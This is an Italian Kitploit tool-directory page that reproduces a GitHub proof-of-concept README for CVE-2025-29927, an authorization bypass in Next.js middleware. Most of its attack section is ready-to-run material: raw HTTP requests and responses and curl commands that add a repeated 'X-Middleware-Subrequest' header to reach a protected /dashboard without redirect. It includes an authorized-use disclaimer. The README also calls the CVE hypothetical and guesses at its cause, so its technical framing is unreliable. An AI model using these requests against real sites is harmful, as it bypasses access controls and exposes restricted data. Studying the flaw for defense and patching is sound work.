Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-29927-POC — Bypass dell'autorizzazione nel middleware di Next.js | Kitploit
Strumenti/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

Bypass dell'autorizzazione nel middleware di Next.js

Vedi Repository
931 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2025-29927-POC

Introduzione

Questo repository contiene un Proof of Concept (PoC) per CVE-2025-29927, una vulnerabilità ipotetica che dimostra un difetto nella gestione del middleware all'interno di un'applicazione web. Il PoC illustra come una richiesta HTTP appositamente modificata possa bypassare la logica di reindirizzamento per accedere a contenuti riservati, come una dashboard. Questo progetto è progettato esclusivamente per scopi educativi e di ricerca sulla sicurezza.

Disclaimer: Questo PoC è pensato per essere utilizzato in ambienti controllati con esplicita autorizzazione. Test non autorizzati su sistemi di cui non si possiede la proprietà o per i quali non si ha il consenso sono illegali e non etici.


Indice

  • Prerequisiti
  • Panoramica della vulnerabilità
  • Passaggi del Proof of Concept
    • Passaggio 1: Richiesta iniziale (non riuscita)
    • Passaggio 2: Richiesta modificata (riuscita)
  • Come replicare
  • Riferimenti
  • Contributi
  • Licenza

Prerequisiti

Per seguire questo PoC, avrai bisogno di:

  • Un server di destinazione (es. abc.com) che esegue una configurazione vulnerabile (software/versione specifici da determinare in base ai dettagli della CVE).
  • Un client HTTP come curl (curl.se), Burp Suite (portswigger.net/burp), o uno script personalizzato.
  • Conoscenze di base dei protocolli HTTP e delle intestazioni (vedi Documentazione HTTP MDN).

Panoramica della vulnerabilità

CVE-2025-29927 (segnaposto; sostituire con i dettagli ufficiali della CVE quando disponibili) sembra sfruttare una configurazione errata del middleware o un difetto logico. Il PoC dimostra che l'aggiunta di un'intestazione personalizzata (X-Middleware-Subrequest) altera il comportamento del server, bypassando un meccanismo di reindirizzamento per accedere a contenuti riservati. Ciò è probabilmente legato a come il middleware (es. Nginx con Next.js) elabora le subrequest o convalida le intestazioni.

Per ulteriori informazioni sulle vulnerabilità del middleware, consulta OWASP Middleware Security.


Passaggi del Proof of Concept

Il PoC consiste in due passaggi: una richiesta iniziale non riuscita e una richiesta modificata riuscita. Ogni passaggio include la richiesta HTTP, la risposta e una spiegazione dettagliata.

Passaggio 1: Richiesta iniziale (non riuscita)

Questo passaggio mostra il comportamento predefinito del server quando si accede all'endpoint /dashboard senza intestazioni aggiuntive.

Richiesta HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Risposta HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Spiegazione

  • Dettagli della richiesta:
    • GET /dashboard: Tenta di accedere all'endpoint della dashboard.
    • Intestazioni standard come User-Agent e Accept mimano una tipica richiesta del browser.
  • Dettagli della risposta:
    • 307 Temporary Redirect: Indica che il server reindirizza il client, probabilmente a causa di autenticazione, autorizzazione o logica di routing (es. reindirizzamento a una pagina di login).
    • Server: nginx/1.14.1: Identifica il software del server web.
  • Analisi: Il reindirizzamento suggerisce un meccanismo di protezione che impedisce l'accesso diretto a /dashboard. La mancanza di un'intestazione Location in questa risposta (possibilmente omessa per brevità) implica che la destinazione del reindirizzamento sia altrove.
  • Riferimento: Scopri di più sui codici di stato HTTP su MDN HTTP Status.

Passaggio 2: Richiesta modificata (riuscita)

Questo passaggio introduce un'intestazione personalizzata per bypassare il reindirizzamento, recuperando con successo il contenuto della dashboard.

Richiesta HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Risposta HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Spiegazione

  • Dettagli della richiesta:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Un'intestazione personalizzata aggiunta alla richiesta originale. La stringa middleware ripetuta potrebbe sfruttare un difetto di parsing o convalida nello stack middleware.
    • Altre intestazioni rimangono invariate rispetto al Passaggio 1.
  • Dettagli della risposta:
    • 200 OK: Conferma l'accesso riuscito al contenuto della dashboard.
    • Content-Type: text/html; charset=utf-8: Indica una risposta HTML, probabilmente la pagina della dashboard.
    • X-Powered-By: Next.js: Suggerisce che l'applicazione utilizza Next.js, un framework React che spesso si basa sul middleware per il routing.
    • Cache-Control: Impedisce la memorizzazione nella cache, tipico per contenuti dinamici specifici dell'utente.
    • Content-Length: 30174: Dimensione del corpo della risposta in byte.
  • Analisi: L'intestazione X-Middleware-Subrequest probabilmente inganna il middleware facendogli trattare la richiesta come una subrequest legittima, bypassando la logica di reindirizzamento. Ciò potrebbe indicare una vulnerabilità nel modo in cui le subrequest vengono convalidate o elaborate.

Come replicare

Segui questi passaggi per replicare il PoC utilizzando curl:

Passaggio 1: Invia la richiesta iniziale

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Output previsto: Una risposta 307 Temporary Redirect.

Passaggio 2: Invia la richiesta modificata

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Output previsto: Una risposta 200 OK con il contenuto della dashboard.

Nota: Sostituisci abc.com con il dominio effettivo di destinazione se stai testando in un ambiente autorizzato.


Riferimenti

  • Dettagli CVE - Database ufficiale delle CVE (aggiornare con il link specifico della CVE quando disponibile).
  • Documentazione HTTP MDN - Nozioni di base sul protocollo HTTP.
  • Middleware Next.js - Informazioni sul comportamento del middleware di Next.js.
  • Sicurezza Middleware OWASP - Panoramica delle vulnerabilità del middleware.
  • Manuale curl - Guida all'uso di curl per richieste HTTP.

Licenza

Questo progetto è concesso in licenza con la Licenza MIT. Vedi il file LICENSE per i dettagli.

Scarica lo strumento
  • Riferimento: Esplora il middleware di Next.js su Documentazione Next.js.